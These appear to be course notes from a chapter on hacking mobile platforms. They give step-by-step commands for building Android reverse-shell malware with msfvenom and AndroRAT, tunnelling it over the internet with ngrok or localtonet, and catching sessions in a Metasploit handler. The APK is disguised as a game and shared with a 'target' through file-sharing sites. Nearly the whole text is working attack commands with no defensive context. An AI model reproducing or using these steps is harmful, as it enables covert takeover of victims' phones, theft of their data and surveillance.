

Chapter 17 - Hacking Mobile Platforms

Msfvenom Mobile Hacking in WAN using ngrok:

Step 1:

cd Downloads

./ngrok tcp 1212

Step 2: open new tab

sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.in.ngrok.io LPORT=18440 -o /home/user/Desktop/game.apk

Step 3:

sudo msfconsole -q

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 127.0.0.1

set LPORT 1212

show options

exploit

Step 4: Upload the malware onto file sharing website and share the link with me

Hack an Android Device by Creating APK File using AndroRAT

git clone <https://github.com/karma9874/AndroRAT.git>

cd AndroRAT/

sudo pip3 install -r requirements.txt

sudo python3 androRAT.py --help

sudo python3 androRAT.py --build -i parrotIP -p 4444 -o /home/user/Desktop/test.apk

sudo python3 androRAT.py --shell -i parrotIP -p 4444

Upload the apk onto gofile and share it with the target

once you get the connection use "help"

Hacking Mobile using msvenom in WAN with the help of localtonet:

Step:1

Login to localtonet account

Get into my tokens and copy the token

then use below mentioned commands

open terminal

cd Downloads

```
sudo ./localtonet authtoken authtoken
```

Now go back to account dashboard and create a udp-tcp tunnel in the dashboard and start the tunnel

Step 2:

```
sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=lturl LPORT=ltport -o  
/home/user/Desktop/test.apk
```

Step 3:

```
sudo msfconsole -q  
use exploit/multi/handler  
set payload android/meterpreter/reverse_tcp  
set LHOST 127.0.0.1  
set LPORT portmentionedinthetunnel  
show options  
exploit
```

Step 4: Upload the file onto filesharing website (ufile.io or gofile.io) and share the link with me
